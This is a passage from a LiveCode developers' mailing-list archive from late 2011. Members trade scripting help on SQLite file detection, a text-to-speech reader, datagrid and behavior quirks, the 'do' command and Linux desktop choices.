Dec 2011 14:25:36 -0800 Subject: Smooth change in size of a stack In-Reply-To: <4EF8ED90.2060305@comcast.net> References: <4EF8D428.3040408@comcast.net> <4EF8ED90.2060305@comcast.net> Message-ID: Hi Marty, I think this is working OK after I got past a misunderstanding on my part. I had expeced the current card dimensions to change if I changed the value in the height and width fields but I think those values are just used by the changeWindowSize handler when a card is opened. Anyway I think this does exactly what I want to do, at least in 4.6.4 so thanks for the help. Pete On Mon, Dec 26, 2011 at 1:56 PM, Marty Knapp wrote: > OK - sent a bit ago as an email attachment. Let me know if you didn't get > it, I'll post it somewhere that you can download it. > > Marty > >> Thanks Marty. I haven't moved to 5.0 yet (seems like too many niggling >> problems) so I'd love to get the stack. Could you send it to my email? >> Pete >> >> On Mon, Dec 26, 2011 at 12:08 PM, Marty Knapp** >> wrote: >> >> Hey Pete, >>> Eric Chatonet had a stack named "Modifying Card Dimensions" that showed >>> how to do that (I thought) but in trying it just now on LC 5 it doesn't >>> seem to work. And I noticed that his www.SoSmartSoftware.com web site is >>> no longer up (sadly, he passed away a few years ago). I have the stack if >>> you'd like to see it and maybe you could figure out why it's not working. >>> >>> Marty Knapp >>> >>> What is the technique for making a change in stack height a smooth >>> >>>> transition? Not a very good descriptions I guess but as an example, I'm >>>> looking at what happens in the Tools palette when you go back and forth >>>> between the various tabs. >>>> >>>> Thanks, >>>> >>>> >>>> >>>> ______________________________****_________________ >>> >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/****mailman/listinfo/use-livecode >>> <**http://lists.runrev.com/**mailman/listinfo/use-livecode >>> > >>> >>> >>> >> > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Mon Dec 26 17:46:28 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 14:46:28 -0800 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: Thanks Andre and Mike. Mike - thanks for the link. You're right, that works just fine. First 16 characters must be "SQLite format 3" plus a nul if it's an SQLite file. LC probably ought to be checking for that but that's OK. On Mon, Dec 26, 2011 at 2:09 PM, Mike Bonner wrote: > Here, look here under 1.2 database header. > http://www.sqlite.org/fileformat2.html Looks like the first 16 bytes of > the header are what you are looking for which are of course the first 16 > bytes of the file. Should be quick and easy to grab those bytes and > determine if the file is sqlite or not. > > On Mon, Dec 26, 2011 at 3:05 PM, Mike Bonner wrote: > > > Hmm. don't have time to test it right this sec, but isn't an sqlite file > > pretty much a regular old text file? If so, it might be possible to open > > for read, read the first however much and check the file for validity. > > (even if its binary, surely there is a way to determine if its really an > > sqlite file) Would have to look up the sqlite file format but it seems > like > > it should be possible. > > > > > > On Mon, Dec 26, 2011 at 3:00 PM, Pete wrote: > > > >> I think that's probably true. I'm trying to figure out how to to tell > if > >> a > >> real sqlite database was opened. The first access to the db fails but > the > >> error is "Undefined SQLite error" which is not very specific! > >> > >> This is in an app where the user can select an sqlite db so I'm at the > >> mercy of what they choose. I did think about filtering the valid > >> extensions for the ask file dialog but it's my understanding that an > >> sqlite > >> db can have any extension. I also tried calling revDatabaseType but > that > >> returns "SQLITE" even if it's not an sqlite database. > >> > >> Pete > >> > >> On Mon, Dec 26, 2011 at 1:42 PM, Mike Bonner > wrote: > >> > >> > My guess is that it doesn't check for a valid schema/format but that > it > >> is > >> > only establishing a file handle which is successful. Then it should > fail > >> > with an error on actual attempt to use. > >> > > >> > On Mon, Dec 26, 2011 at 2:33 PM, Pete wrote: > >> > > >> > > Using revOpenDatabase to open an sqlite database using a file that > is > >> not > >> > > an sqlite database return an integer as if the database was > >> successfully > >> > > opened. Any subsequent db accesses fail of course but I wonder why > >> > > revOpenDatabase doesn't return an error? > >> > > > >> > > > >> > > -- > >> > > Pete > >> > > Molly's Revenge > >> > > _______________________________________________ > >> > > use-livecode mailing list > >> > > use-livecode at lists.runrev.com > >> > > Please visit this url to subscribe, unsubscribe and manage your > >> > > subscription preferences: > >> > > http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > >> > _______________________________________________ > >> > use-livecode mailing list > >> > use-livecode at lists.runrev.com > >> > Please visit this url to subscribe, unsubscribe and manage your > >> > subscription preferences: > >> > http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > >> > > >> > >> > >> -- > >> Pete > >> Molly's Revenge > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jhurley0305 at sbcglobal.net Mon Dec 26 18:41:48 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Mon, 26 Dec 2011 15:41:48 -0800 Subject: Point at which speaking is stopped? Message-ID: <86352E35-6A4E-4206-A433-F1AA2B4D5B63@sbcglobal.net> Mike, Ingenious. Works like a charm. Thank you. There will be problems, as I have discovered in an other app I am working on in parsing sentences. The period has multiple uses besides a sentence delimiter, for example in abbreviations and in decimal numbers. These can be parsed out however. Thanks again, vert nice, Jim Hurley I have put my Text to Speech app up on the web: go url "http://jamesphurley.com/TextToSpeech.livecode" > > > Mike Bonner wrote: > > Yep, in simplest form its not to bad. I put a bunch of text into a field > then to read it, set the itemdelimter to "." put the field text into a > variable and replaced "? " with ?. " same with "! " replaced with "!. " (to > ensure we still retain punctuation tone changes) > > So the following script placed in a button will read from field 1. Clicking > the button again pauses, Reading picks up where it left off. > > local tReading, tCurrLine, tTotalLines,tText > on mouseUp > if tReading is empty then put false into tReading > put not tReading into tReading > set the label of me to "Reading: " & tReading > startLooping > end mouseUp > > command startLooping > set the linedelimiter to "." > if tReading then > if tCurrLine is empty then > put field 1 into tText > replace "? " with "?. " in tText > replace "! " with "!. " in tText > put the number of lines in tText into tTotalLines > put 1 into tCurrLine > end if > > if not revIsSpeaking() then > revspeak line tCurrLine of tText > if tCurrLine = tTotalLines then > put false into tReading > put empty into tCurrLine > else > add 1 to tCurrLine > end if > end if > set the label of me to "Reading: " & tReading > send startLooping to me in 20 milliseconds > end if > end startLooping From jhurley0305 at sbcglobal.net Mon Dec 26 18:41:53 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Mon, 26 Dec 2011 15:41:53 -0800 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: References: Message-ID: Roger, It is even better for proofreading. I have put my Text to Speech up on the web. Run this in the message box. go url "http://www.jamesphurley.com/TextToSpeech.rev" Jim Hurley > > Roger Eller wrote: > > I like it! I used your post as the text to read aloud via your script. > With a little more code to add active sentence highlighting, and handle > other oddities in text like ("?" with "?."), it becomes a pretty nice > screen reader that you can follow along visually. I could see this growing > into a great teaching aid for reading. > > ?Roger > > From bonnmike at gmail.com Mon Dec 26 18:48:12 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 16:48:12 -0700 Subject: Point at which speaking is stopped? In-Reply-To: <86352E35-6A4E-4206-A433-F1AA2B4D5B63@sbcglobal.net> References: <86352E35-6A4E-4206-A433-F1AA2B4D5B63@sbcglobal.net> Message-ID: Might watch the code I used to toggle on and off (assuming you used that part) Not sure that portion is thought out very well, and as you say things will crop up, but glad its working well enough as a starting point that you can tweak to fit your needs. Hope your new year is a good one! On Mon, Dec 26, 2011 at 4:41 PM, Jim Hurley wrote: > Mike, > > Ingenious. Works like a charm. Thank you. > > There will be problems, as I have discovered in an other app I am working > on in parsing sentences. The period has multiple uses besides a sentence > delimiter, for example in abbreviations and in decimal numbers. These can > be parsed out however. > > Thanks again, vert nice, > > Jim Hurley > > > I have put my Text to Speech app up on the web: > > go url "http://jamesphurley.com/TextToSpeech.livecode" > > > > > > > > > > Mike Bonner wrote: > > > > Yep, in simplest form its not to bad. I put a bunch of text into a field > > then to read it, set the itemdelimter to "." put the field text into a > > variable and replaced "? " with ?. " same with "! " replaced with "!. " > (to > > ensure we still retain punctuation tone changes) > > > > So the following script placed in a button will read from field 1. > Clicking > > the button again pauses, Reading picks up where it left off. > > > > local tReading, tCurrLine, tTotalLines,tText > > on mouseUp > > if tReading is empty then put false into tReading > > put not tReading into tReading > > set the label of me to "Reading: " & tReading > > startLooping > > end mouseUp > > > > command startLooping > > set the linedelimiter to "." > > if tReading then > > if tCurrLine is empty then > > put field 1 into tText > > replace "? " with "?. " in tText > > replace "! " with "!. " in tText > > put the number of lines in tText into tTotalLines > > put 1 into tCurrLine > > end if > > > > if not revIsSpeaking() then > > revspeak line tCurrLine of tText > > if tCurrLine = tTotalLines then > > put false into tReading > > put empty into tCurrLine > > else > > add 1 to tCurrLine > > end if > > end if > > set the label of me to "Reading: " & tReading > > send startLooping to me in 20 milliseconds > > end if > > end startLooping > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at mollysrevenge.com Mon Dec 26 20:28:36 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 17:28:36 -0800 Subject: Strange Datagrid Behavior Message-ID: I have two datagrids on a card. When the user clicks on an option menu on the card, the datagrids are populated with information in two different formats, at least that's what's supposed to happen. I do this by setting the dgText of each datagrid to the value of a variable. When I set the dgText of the first datagrid (stepping through in debug), I see the correct data show up. When I set the dgText of the second datagrid, it appears in the first datagrid and the second datagrid remains empty!!!!!! The datagrids have different names. I have checked the row template property to make sure it has not somehow been set to the wrong datagrid but they are both correct. I have checked the value of the dgContorl property of each datagrid and it is correct also. I will say that these datagrids have have a somewhat checkered past. They originally existed on a different card than they reside on now, and all worked fine back in those good old days. For application design reasons, I copied them (and a few other controls) from the original card to a different card and put them all into a group. That's when the problems started. Any ideas on how I might track down this strange behavior? -- Pete Molly's Revenge From fmoyer at aol.com Mon Dec 26 23:00:24 2011 From: fmoyer at aol.com (Fred Moyer) Date: Mon, 26 Dec 2011 23:00:24 -0500 Subject: 5.0.2 startup woes In-Reply-To: References: Message-ID: On Dec 26, 2011, at 1:00 PM, use-livecode-request at lists.runrev.com wrote: > I reported this to support. Did you too ? Else, please do it ;-) Yes, I have reported it. Thanks Pierre From bdrunrev at gmail.com Tue Dec 27 06:45:14 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Tue, 27 Dec 2011 11:45:14 +0000 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <1324931930598-4235548.post@n4.nabble.com> References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> <4EF8D0F5.4010706@gmail.com> <1324931930598-4235548.post@n4.nabble.com> Message-ID: I was so appalled by the latest Ubuntu, I switched to Mint. Ubuntu had become as slow as using Windows Vista. No wonder Mint has taken off. Whilst the main charts in the link below are based on DistroWatch (arguably a sign of what cutting-edge linux users are up to), the chart further down the page showing Google search data indicates that the claim that Ubuntu is losing out to Mint has some basis. http://royal.pingdom.com/2011/11/23/ubuntu-linux-losing-popularity-fast-new-unity-interface-to-blame/ My negative experience with Ubuntu last month was what drove me to look at Mint, which I'd vaguely heard of over the past few years. Bernard On Mon, Dec 26, 2011 at 8:38 PM, Peter Alcibiades wrote: > Stay with Ubuntu for now, but install fluxbox and see if it still happens. > At least you'll know if its Ubuntu or Gnome3. From richmondmathewson at gmail.com Tue Dec 27 07:26:27 2011 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 27 Dec 2011 14:26:27 +0200 Subject: [OT] Re: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> <4EF8D0F5.4010706@gmail.com> <1324931930598-4235548.post@n4.nabble.com> Message-ID: <4EF9B973.5040500@gmail.com> On 12/27/2011 01:45 PM, Bernard Devlin wrote: > I was so appalled by the latest Ubuntu, I switched to Mint. Ubuntu > had become as slow as using Windows Vista. No wonder Mint has taken > off. Whilst the main charts in the link below are based on > DistroWatch (arguably a sign of what cutting-edge linux users are up > to), the chart further down the page showing Google search data > indicates that the claim that Ubuntu is losing out to Mint has some > basis. > > http://royal.pingdom.com/2011/11/23/ubuntu-linux-losing-popularity-fast-new-unity-interface-to-blame/ > > My negative experience with Ubuntu last month was what drove me to > look at Mint, which I'd vaguely heard of over the past few years. > > Bernard Well, I'm just about to hop on the plane for my annual visit to Britain (which will include dephlogisticating my parents' laptop, which was running Ubuntu 10.10, which has gone very "sour" since my Father couldn't resist clicking on distro-upgrade and getting b*ggered by Unity. I am, right now, wondering whether I should reinstall Ubuntu 10.10 and lock-down the upgrade option, or go for Mint 12 with MATE............ The whole MATE thing has come about because the "powers that be" in the Debian world have mucked around with the repositories in such a way that one cannot, say, install Ubuntu 11.10 and then GNOME 2 using apt-get. Since the Linux people go on, and on, and on, tiresomely about "choice" this is a crock of sh*t. As I seem to be unable to get Mint 12 to behave itself in Virtual Box I am a bit nervous about spending donkey's ages on a real laptop only to find out that I have ended up with a 'pup'. Of course, the other option, is just to install XFCE on my parents' existing setup; although that sounds like a fudge. Here in Bulgaria, I am "living" with Ubuntu 11.10 just at the moment, having got things reasonably the way I want things with Avant Window Manager; however Compiz keeps dying on me, Nautilus has periodic 'headaches', and the whole thing is most definitely not what-it-should-be. And, as you will see from the Use-List yesterday, I managed to get the GUI to lock-up completely with LC 4.5 . . . which made me hopping mad. I only wish I knew a way to get that flaming "launcher" thing to go away for ever, as it keeps popping up like a bad penny, over on the left, whenever I have to enter a password, with annoying frequency, and to no obvious purpose. I have been a big, big fan of Avant Window Manager since I started seriously transitioning from Mac to Linux, and the Dock-like setup of AWN really makes me feel right at home; especially, as it has a "Start" Menu option that replaces that that was present in GNOME 2 and has been chucked away with Unity and GNOME 3. I am unaware of my machine running noticeably more slowly than when I had SalineOS on it: Intel(R) Pentium(R) 4 CPU 3.00GHz, RAM 2.0 GB But I have never been unduly bothered about shaving seconds off here and there, or not having time for the odd gulp of coffee . . . :) I may be "a naughty boy" and use M & D's laptop as a guinea-pig, and install Mint 12 with MATE to see what it's like; if I like it I'll install it here when I come back, and if M & D like it, that's groovy; failing that they'll get Ubuntu 10.10 with all upgrades disabled. What GNOME 3 plus Mono-Sodium-GlutaMATE will look like is anybody's guess; and as to functionality; hmm................................ > > On Mon, Dec 26, 2011 at 8:38 PM, Peter Alcibiades > wrote: >> Stay with Ubuntu for now, but install fluxbox and see if it still happens. >> At least you'll know if its Ubuntu or Gnome3. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 12:08:20 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 09:08:20 -0800 Subject: How do you do it?? In-Reply-To: <8CE8FDDDB36A1DF-11E0-F383@webmail-m133.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <8CE8FDDDB36A1DF-11E0-F383@webmail-m133.sysops.aol.com> Message-ID: <80E29515-6104-499E-8ED6-894A3CDF75B0@twft.com> Please go back and read the emails set to explain why it will not work. You may have passed over them in frustration. In the below example (which is not like the first example you provided) you still have the same problem. You are concatenating a DO statement with a multiple line value. So if fld 1 contained: test1 test2 then your DO statement would look like put test1 test2 into fld 2 Now the compiler will try to compile that as a single script before executing it. It "gets" the first command "put test1" which if executed on it's own will put the literal value "test1" into the message box. . It does not however "get" the next line "test 2 into fld 2". See? That will not compile. Try it. Type only "fld 1 into fld 2" into the message box and see what you get. Now why would you concatenate a DO statement in this situation anyway? It's pointless. Just: put fld 1 into fld 2 Why create a DO statement to do that? Bob On Dec 23, 2011, at 3:00 PM, DunbarX at aol.com wrote: > Mike. > > > Not sure I am getting this. I have two fields, one with several lines of text ("fld 1"). > > > on mouseUp > put fld 1 into foo > do "put" && foo && "into fld 2" > end mouseUp > > > This fails. If fld 1 contains only one line, no problem, as everyone but me seems to know. Please tell me again. > > > Thanks, > > > Craig > > > > -----Original Message----- > From: Mike Bonner > To: How to use LiveCode > Sent: Fri, Dec 23, 2011 12:42 pm > Subject: Re: How do you do it?? > > > Well yeah because "do" is a unit. part fails, all fail so the AA never > gets to the msg box. Explanation still stands though. > > > On Fri, Dec 23, 2011 at 3:29 PM, Bob Sneidar wrote: > >> It won't even put AA into the message box. It will try to compile the >> entire do statement first, and upon failing will just throw an error. >> >> Bob >> >> >> On Dec 23, 2011, at 1:58 PM, Mike Bonner wrote: >> >>> put AA >>> BB into temp2 >>> So it will put AA into the message box, and error out on the next line >>> since there is no handler named BB >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 12:09:01 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 09:09:01 -0800 Subject: How do you do it?? In-Reply-To: <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> Message-ID: <5EA11EE2-7E98-4459-8D61-646BD0977838@twft.com> Oh sorry ignore my last post. Bob On Dec 23, 2011, at 6:50 PM, DunbarX at aol.com wrote: > Of course. > > > I have overdone the "do" construction by not including the whole statement in quotes. I am so used to having to break out literals from variables, reassembling them meticulously into a single line, that I missed this very expected result. > > > Thanks... > > > Craig > > > > -----Original Message----- > From: Bob Sneidar > To: How to use LiveCode > Sent: Fri, Dec 23, 2011 1:20 pm > Subject: Re: How do you do it?? > > > Hmmm lemme follow this as pseudo code: > > when the mouse is clicked > put "AA" and a carriage return and "BB" into the variable "it" > on the first pass of a repeat loop, try to do the command put followed by the > word "it" followed by the contents of the variable "it" (it's two lines you > know) followed by into "temp1". The statement you are trying to "do" will look > like this: > > do put AA > BB into temp1 > > Well you see what went wrong don't you? The do command does not know what to do > with what comes after AA. It cannot even compile it. This is why it is a MUCH > better idea to put your command into a variable, and then do the variable. You > could then have stepped through the code and seen what the DO command looked > like before you tried to "do" it. It may seem like wisdom at first to try to > mash all the code into one compact statement, but there is no gain in > performance, and there is a HUGE downside of not being able to debug it. > > Try this instead: >> on mouseUp >> get "AA" & return & "BB" >> -- get "AA" >> repeat with y = 1 to 2 >> put "put" && line y of it && "into temp" & y into theCommand >> do theCommand >> end repeat >> answer temp1 & comma & temp2 >> end mouseUp > > > You will get "AA,BB" > Bob > > > > On Dec 23, 2011, at 1:43 PM, DunbarX at aol.com wrote: > >> >> >> Why do LC (and HC for that matter) fail to process multi-line variables when > using "do"? >> >> >> If the variable "it" contains one line, the "do" construction >> works fine, making numbered temp variables as needed. But if I try the routine > with a multi-line "it", the handler >> will not compile. >> LC complains as: execution error at line 5 (do: error in source expression) > near "put AA", char 1 >> HC complains as well, that it cannot understand "BB". >> >> >> >> It seems that the routine breaks simply because of the other lines, that is, >> the next line in "it" is not understandable by the parser. I wonder why it > bothers to look there. >> >> >> >> Don't tell me I need two levels of "do": (do "do put...) Just kidding, > that fails also. >> >> >> Just asking. >> >> >> Craig Newman >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 12:35:32 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 09:35:32 -0800 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: <5B5706F5-8928-4E41-ABAE-E846242F087B@twft.com> After opening it, and inside a try/catch statement just use select TRUE as connected and get the query as a string. If it throws an error you know something is wrong. One thing I like to do in database driven apps is create handlers called dbopen, dbclose, dbIdle isConnected. In those handlers I put the database commands inside try/catch constructs, and return false when I fail. Before any query I will call isConnected, which attempts to do some arbitrary thing with the database, like select TRUE as connected, which will return 1 if it succeeds and throw an error if it doesn't. When I am done I call dbIdle which closes the connection (good practice because the server is going to disconnect you anyway after a certain amount of time). The Open function attempts a connection to the database with the options the user entered on a setup card. If successful, I set a global I can check in the future to make sure I successfully connected on startup. If the global is false, then I prevent any interaction with the app, sometimes quitting (if not in development). By doing this I don't have to recode error handling every place I need to query. isConnected, upon failing will exit to top after alerting the user that something is wrong. The close handler will close all cursors and database handlers, but this is not strictly necessary, as dbIdle. Since using sqlYoga, this is all rather moot anyway, as this kind of functionality is built into it. Bob On Dec 26, 2011, at 1:33 PM, Pete wrote: > Using revOpenDatabase to open an sqlite database using a file that is not > an sqlite database return an integer as if the database was successfully > opened. Any subsequent db accesses fail of course but I wonder why > revOpenDatabase doesn't return an error? > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 12:37:26 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 09:37:26 -0800 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: References: Message-ID: <1070DB7C-51E8-4037-823F-F9D5E33C031A@twft.com> I get "No such card" Bob On Dec 26, 2011, at 3:41 PM, Jim Hurley wrote: > Roger, > > It is even better for proofreading. > > I have put my Text to Speech up on the web. Run this in the message box. > > go url "http://www.jamesphurley.com/TextToSpeech.rev" > > Jim Hurley > >> >> Roger Eller wrote: >> >> I like it! I used your post as the text to read aloud via your script. >> With a little more code to add active sentence highlighting, and handle >> other oddities in text like ("?" with "?."), it becomes a pretty nice >> screen reader that you can follow along visually. I could see this growing >> into a great teaching aid for reading. >> >> ?Roger >> >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Tue Dec 27 12:36:53 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 09:36:53 -0800 Subject: Case Study: Behaviors Failing - Can't set break points Message-ID: Hello, I just ran into this issue and I thought I would share it. I thought I was loading my Behavior's into memory before using them but I wasn't. Here is what it looked like when it was failing. I have some buttons that have behaviors set on them. When you control-click on them and look at Send Message, the commands that are associated with the behavior are there. So, I thought, the button is clearly linked to it's behavior. However using Dispatch to send the message results in "unhandled". It was not seeing the behavior's handlers. If I use the Send form I can see that the message is sent to the Button, but is not picked up by the Behavior, just the Button. Even if there is no handler for the message in the button. I can tell this by stepping through with the debugger. The debugger goes to the button's Script ( not the behavior's script ) even though the script is empty. It never makes it on to the behavior. I also noticed that I couldn't set Break Points in the behavior scripts in the debugger when this condition happened. They just didn't work. In all cases, I can it by simply resetting the behavior to itself, like so: *set *the behavior of tControl to the behavior of tControl So whats the deal? The button appears to be linked to the behavior? But I can't send it messages? And I can't set break points in the Behavior scripts. Well the problem is that the behaviors are not in memory when the buttons that use them are placed into memory. I thought that they were because I was loading the stack containing the Behaviors as part of the PreOpenCard in my first stack. So the Behaviors were in a second stack. And they were being referenced by the first stack. I think the docs point this out, but I was confused by the apparent linking, and the fact that I thought loading on PreOpenCard or PreOpenStack would be enough. But its not. I am including behaviors in a Library stack, instead of embedding them into a the stacks that use them. These are pure code Behaviors, no UI. And they are part of the larger feature set provided by the library. I wanted to be able to keep the library and it's behavior's separate. So either I will have to build a launcher file that just loads the library first or build in re-linking, which may not be a bad thing anyway. ??????????? Todd From todd at geistinteractive.com Tue Dec 27 12:42:57 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 09:42:57 -0800 Subject: Launcher stacks on iOS etc. Message-ID: Hello, Clearly on the desktop, using a launcher file to start up the solution makes a lot of sense. It seems very helpful in terms of managing updates, setting up the environmment etc. But I am curious is it still a good idea for things like iOS etc? I am curious to hear from folks who have stuff in the app stores. Do you still use a launcher file? Thanks Todd From bobs at twft.com Tue Dec 27 12:46:36 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 09:46:36 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: Message-ID: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Delete the first datagrid and when it throws an error that is where whatever code is referencing the first datagrid literally. It sounds at first blush like you set the behavior to something other than the datagrid library, and then did some custom work with that behavior, referring to the first datagrid literally somewhere in the behavior script. Alternately, you can try edit the script of the behavior of mySecondDataGrid and then search for the name of the first datagrid. Bob On Dec 26, 2011, at 5:28 PM, Pete wrote: > I have two datagrids on a card. When the user clicks on an option menu on > the card, the datagrids are populated with information in two different > formats, at least that's what's supposed to happen. > > I do this by setting the dgText of each datagrid to the value of a > variable. When I set the dgText of the first datagrid (stepping through in > debug), I see the correct data show up. When I set the dgText of the > second datagrid, it appears in the first datagrid and the second datagrid > remains empty!!!!!! The datagrids have different names. > > I have checked the row template property to make sure it has not somehow > been set to the wrong datagrid but they are both correct. I have checked > the value of the dgContorl property of each datagrid and it is correct also. > > I will say that these datagrids have have a somewhat checkered past. They > originally existed on a different card than they reside on now, and all > worked fine back in those good old days. For application design reasons, I > copied them (and a few other controls) from the original card to a > different card and put them all into a group. That's when the problems > started. > > Any ideas on how I might track down this strange behavior? > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Tue Dec 27 12:49:24 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 27 Dec 2011 12:49:24 -0500 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: <1070DB7C-51E8-4037-823F-F9D5E33C031A@twft.com> References: <1070DB7C-51E8-4037-823F-F9D5E33C031A@twft.com> Message-ID: It is a .livecode file: go url "http://www.jamesphurley.com/TextToSpeech.livecode" On Tue, Dec 27, 2011 at 12:37 PM, Bob Sneidar wrote: > I get "No such card" > > Bob > > > On Dec 26, 2011, at 3:41 PM, Jim Hurley wrote: > > > Roger, > > > > It is even better for proofreading. > > > > I have put my Text to Speech up on the web. Run this in the message box. > > > > go url "http://www.jamesphurley.com/TextToSpeech.rev" > > > > Jim Hurley > > > From pete at mollysrevenge.com Tue Dec 27 12:50:28 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 09:50:28 -0800 Subject: revOpenDatabase Problem In-Reply-To: <5B5706F5-8928-4E41-ABAE-E846242F087B@twft.com> References: <5B5706F5-8928-4E41-ABAE-E846242F087B@twft.com> Message-ID: All good stuff but none of it tells me if I've opened an sqlite database :-) You may have missed the post about opening the file as a regular file and checking the first 16 bytes - that's the solution I used, seems to work just great. On Tue, Dec 27, 2011 at 9:35 AM, Bob Sneidar wrote: > After opening it, and inside a try/catch statement just use select TRUE as > connected and get the query as a string. If it throws an error you know > something is wrong. > > One thing I like to do in database driven apps is create handlers called > dbopen, dbclose, dbIdle isConnected. In those handlers I put the database > commands inside try/catch constructs, and return false when I fail. Before > any query I will call isConnected, which attempts to do some arbitrary > thing with the database, like select TRUE as connected, which will return 1 > if it succeeds and throw an error if it doesn't. When I am done I call > dbIdle which closes the connection (good practice because the server is > going to disconnect you anyway after a certain amount of time). > > The Open function attempts a connection to the database with the options > the user entered on a setup card. If successful, I set a global I can check > in the future to make sure I successfully connected on startup. If the > global is false, then I prevent any interaction with the app, sometimes > quitting (if not in development). > > By doing this I don't have to recode error handling every place I need to > query. isConnected, upon failing will exit to top after alerting the user > that something is wrong. The close handler will close all cursors and > database handlers, but this is not strictly necessary, as dbIdle. > > Since using sqlYoga, this is all rather moot anyway, as this kind of > functionality is built into it. > > Bob > > > On Dec 26, 2011, at 1:33 PM, Pete wrote: > > > Using revOpenDatabase to open an sqlite database using a file that is not > > an sqlite database return an integer as if the database was successfully > > opened. Any subsequent db accesses fail of course but I wonder why > > revOpenDatabase doesn't return an error? > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode 